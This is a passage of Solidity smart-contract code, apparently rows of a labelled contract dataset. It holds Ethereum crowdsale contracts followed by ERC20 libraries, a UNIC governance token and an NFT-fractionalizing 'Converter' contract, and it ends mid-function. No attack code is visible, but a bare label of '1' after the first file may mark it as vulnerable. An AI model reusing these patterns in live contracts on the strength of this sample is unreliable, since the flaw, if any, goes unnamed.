function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
emit Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[4] memory weiRaisedStartsBoundaries = [uint(0),uint(0),uint(0),uint(0)];
uint[4] memory weiRaisedEndsBoundaries = [uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000)];
uint64[4] memory timeStartsBoundaries = [uint64(1531692000),uint64(1532987940),uint64(1534802340),uint64(1536616740)];
uint64[4] memory timeEndsBoundaries = [uint64(1532987940),uint64(1534802340),uint64(1536616740),uint64(1537826340)];
uint[4] memory weiRaisedAndTimeRates = [uint(400),uint(300),uint(200),uint(100)];
for (uint i = 0; i < 4; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[2] memory weiAmountBoundaries = [uint(20000000000000000000),uint(10000000000000000000)];
uint[2] memory weiAmountRates = [uint(0),uint(50)];
for (uint j = 0; j < 2; j++) {
if (weiAmount >= weiAmountBoundaries[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, RefundableCrowdsale
, CappedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1546297140, 1500 * TOKEN_DECIMAL_MULTIPLIER, 0x04B21fe3FBa3E8E548EfC51013E71242a55212cF)
CappedCrowdsale(20000000000000000000000)
RefundableCrowdsale(1000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[4] memory addresses = [address(0xdadc35adc3091329a2a593a6c2ba2f1539aae965),address(0xe99d4d19b23bfe83916b346814ee06043154ae78),address(0xaae82f543abb3abda4faacb887e2f802d48ed2da),address(0xaf2bde98fe39733b0f2a89053a3060c0bf8f77da)];
uint[4] memory amounts = [uint(1500000000000000000000000),uint(5000000000000000000000000),uint(10000000000000000000000000),uint(3500000000000000000000000)];
uint64[4] memory freezes = [uint64(1577746805),uint64(1577746805),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < endTime);
require(now < _endTime);
require(_endTime > startTime);
emit TimesChanged(startTime, _endTime, startTime, endTime);
endTime = _endTime;
}
} | 1 | 4,501 |
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.2 <0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC20Capped is ERC20 {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap_) internal {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
require(totalSupply().add(amount) <= cap(), "ERC20Capped: cap exceeded");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
pragma solidity 0.6.12;
contract Unic is ERC20, ERC20Capped, ERC20Burnable, Ownable {
constructor ()
public
ERC20("UNIC", "UNIC")
ERC20Capped(1_000_000e18)
{
_mint(_msgSender(), 1e18);
_moveDelegates(address(0), _delegates[_msgSender()], 1e18);
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
return true;
}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "UNIC::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "UNIC::delegateBySig: invalid nonce");
require(now <= expiry, "UNIC::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "UNIC::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "UNIC::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Capped) {
super._beforeTokenTransfer(from, to, amount);
}
}
pragma solidity >=0.6.2 <0.8.0;
library ERC165Checker {
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
function supportsERC165(address account) internal view returns (bool) {
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
return supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) {
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
if (supportsERC165(account)) {
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
if (!supportsERC165(account)) {
return false;
}
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool, bool)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
(bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams);
if (result.length < 32) return (false, false);
return (success, abi.decode(result, (bool)));
}
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC1155Receiver is IERC165 {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
constructor() internal {
_registerInterface(
ERC1155Receiver(address(0)).onERC1155Received.selector ^
ERC1155Receiver(address(0)).onERC1155BatchReceived.selector
);
}
}
pragma solidity >=0.5.0;
interface IUnicFactory {
event TokenCreated(address indexed caller, address indexed uToken);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getUToken(address uToken) external view returns (uint);
function uTokens(uint) external view returns (address);
function uTokensLength() external view returns (uint);
function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity 0.6.12;
contract Converter is ERC20, ERC1155Receiver {
using SafeMath for uint;
struct NFT {
address contractAddr;
uint256 tokenId;
uint256 amount;
bool claimed;
}
struct Bid {
address bidder;
uint256 amount;
uint time;
}
mapping(uint256 => NFT) public nfts;
uint256 public currentNFTIndex = 0;
bool public active = false;
uint256 public totalBidAmount = 0;
uint256 public unlockVotes = 0;
uint256 public _threshold;
address public issuer;
string public _description;
uint256 public cap;
mapping(address => uint256) public unlockApproved;
IUnicFactory public factory;
mapping(uint256 => Bid) public bids;
mapping(uint256 => mapping(address => uint256)) public bidRefunds;
uint public constant TOP_BID_LOCK_TIME = 3 days;
event Deposited(uint256[] tokenIDs, uint256[] amounts, address contractAddr);
event Refunded();
event Issued();
event BidCreated(address sender, uint256 nftIndex, uint256 bidAmount);
event BidRemoved(address sender, uint256 nftIndex);
event ClaimedNFT(address winner, uint256 nftIndex, uint256 tokenId);
bytes private constant VALIDATOR = bytes('JCMY');
constructor (uint256 totalSupply, uint8 decimals, string memory name, string memory symbol, uint256 threshold, string memory description, address _issuer, IUnicFactory _factory)
public
ERC20(name, symbol)
{
_setupDecimals(decimals);
issuer = _issuer;
_description = description;
_threshold = threshold;
factory = _factory;
cap = totalSupply;
}
function deposit(uint256[] calldata tokenIDs, uint256[] calldata amounts, address contractAddr) external {
require(msg.sender == issuer, "Converter: Only issuer can deposit");
require(tokenIDs.length <= 50, "Converter: A maximum of 50 tokens can be deposited in one go");
require(tokenIDs.length > 0, "Converter: You must specify at least one token ID");
if (ERC165Checker.supportsInterface(contractAddr, 0xd9b67a26)){
IERC1155(contractAddr).safeBatchTransferFrom(msg.sender, address(this), tokenIDs, amounts, VALIDATOR);
for (uint8 i = 0; i < 50; i++){
if (tokenIDs.length == i){
break;
}
nfts[currentNFTIndex++] = NFT(contractAddr, tokenIDs[i], amounts[i], false);
}
}
else if (ERC165Checker.supportsInterface(contractAddr, 0x80ac58cd)){
for (uint8 i = 0; i < 50; i++){
if (tokenIDs.length == i){
break;
}
IERC721(contractAddr).transferFrom(msg.sender, address(this), tokenIDs[i]);
nfts[currentNFTIndex++] = NFT(contractAddr, tokenIDs[i], 1, false);
}
}
emit Deposited(tokenIDs, amounts, contractAddr);
}
function issue() external {
require(msg.sender == issuer, "Converter: Only issuer can issue the tokens");
require(active == false, "Converter: Token is already active");
active = true;
